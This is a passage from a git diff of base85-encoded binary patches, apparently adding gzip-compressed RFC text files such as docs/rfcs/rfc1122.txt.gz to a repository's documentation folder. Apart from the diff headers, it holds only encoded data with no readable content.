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 SYyz7w82lGqIjqtvnE(Lw&&Z|# literal 0 HcmV?d00001 diff --git a/docs/rfcs/rfc1122.txt.gz b/docs/rfcs/rfc1122.txt.gz new file mode 100644 index 0000000000000000000000000000000000000000..07eccc426b4afeb7c6bd26be87e0f8aa9ef39a31 GIT binary patch literal 73413 zcmV)EK)}BriwFoa{CYtG19E0#F)=bSE_8Tw0POu+cN|BOCW^k}SH$F6dkg4EKqPn( zMOM{W5C}>bkpvn5OH{n*vr{1ORJ63;#lyK1IOA~QYx zVs37i&pvx!4YzIgvG@i4Pu*M>KX&bURb>8i+zeIMR6}vpT-Qxib@=Ivvj14TX}ejq zbyof7y6T7Gs_lxycDbyYp?_ICe!Rb5Z2HgHUhzX$&Z}lx9L?*Y?Y4?P@Sl^}&|X$u z@%Z}}-*35*aB6i|(UfR@ZY@8xJ^az`F3ot|)U$G^+opJ1-c?<{wRJv}!@4iptK#CO z?u&QTvZYb!-_G6~7Vtl11Al*2&+2kf^s8!CU+F0LOT$g&e{IG;GTiOKb`CgD-OSo< z)pq4j^~L2~(N$MfS2eS0T9h!|c|V0ObzL9=ro>t<0e z>!F(O!EUUV_(OgN;QzHvMH>O%EsIrI6j{o#IZYm?Mol$VPNcj&N%h2pyL(~nUI z-d~)Zy#8=_aeVT=*!!~o;KRf=S8N>UyKtZvYOAUdGRA$ zyW8>(&SiejCgGPKxy^=E{a7^>t_O~^ujlZO_bkZ{v~Op$kDHBxQ8#P6pI*&=Y8P}h zi-!&b(>iM}*ZlxDuZLX%+I$_=z1Ju43%=y^C0tnZ@g zmUYuE+UvXG;kW?J~Yt&BT`8Fd&S%1_dgeJ5B_m<_NCfL zMtUq$BB}np+KmU=0!_TZdI$!8kR3o5eytEZ{fyGXsHa9)mYEcsJz!8D$50 z4qEAMRqeJ{yXRH+sh&N+ka+SWGthT1P`#{nhj#aE{i%A8jr8PcW}p|K*H;g;v)n+> zLV?`(0*OXf2lDt1POrSKLIFK|XGIjh{34kVsmRyh^VSXT^oORaKwFZzKR%=HGXs$| 